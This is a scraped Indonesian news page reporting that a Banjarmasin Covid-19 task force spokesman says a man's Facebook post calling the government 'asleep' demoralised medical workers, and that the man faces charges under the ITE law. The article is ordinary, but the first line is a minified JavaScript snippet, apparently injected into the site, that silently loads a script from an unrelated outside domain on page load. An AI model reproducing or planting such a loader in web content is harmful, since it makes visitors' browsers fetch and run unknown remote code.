(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Gugus Tugas Covid-19: Postingan Facrul Bikin ‘Shock’ Petugas Medis di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Postingan Fachrulraji (37) di medsos yang mengatakan pemerintah tidur dalam menghadapi Covid-19, melukai perasaan para petugas medis yang ada di garda depan melakukan penyembuhan pasien di puskesmas dan rumah sakit. Juru Bicara Percepatan Penanganan (P2) Covid-19 Kota Banjarmasin Dr. Machli Riyadi mengungkapkan, akibat dari berita hoax atau bohong yang disampaikan Fachrul, banyak petugas Covid-19 turun semangat kerjanya di lapangan.

“Teman-teman dokter perawat bidan puskesmas, yang selama ini sudah mempertaruhkan nyawanya, sudah melakukan screening dan tracking dalam upaya memutus mata rantai penularan dan tiba-tiba merasa shock saja. Hampir semua kepala puskesmas menyampaikan laporan ke saya terhadap ujaran yang ditulis sodara Fachruraji di Facebook,” ungkapnya.

Menurutnya, dengan ditemukannya orang itu tentu pihaknya kembali bersemangat. Ia pun mengimbau agar masyarakat tidak membuat berita hoaks atau bohong apalagi sampai menghasut agar memusuhi petugas covid-19. “Mari kita bahu-membahu membantu pemerintah untuk mengurangi penyebaran covid19 ini, dimana kita tau semakin hari semakin naik jadi kita harus kerjasama sebagai masyarakat bantu apa yang kita bisa buat kita perbuat, jangan malah kita menyebarkan berita bohong,” tuturnya.

Ia mengingatkan, pemerintah bekerja untuk masyarakat, maka tetaplah dirumah, tidak usah kemana-mana untuk sementara waktu dan tetap mematuhi protokol kesehatan, dan jangan lupa berdoa. “Biar kami saja bekerja gugus tugas ini dari pemerintahan semua gabungan semua stakeholder yang ada siang malam bahu membahu 24 jam demi terputusnya mata rantai covid19 ini,” pungkas Machli.

Sementara itu, atas perbuatan pelaku ia dijerat dengan pasal pelanggaran UU ITE dengan ancaman 5 tahun penjara. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

3 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

4 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

4 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

6 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

6 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

10 jam ago

This website uses cookies.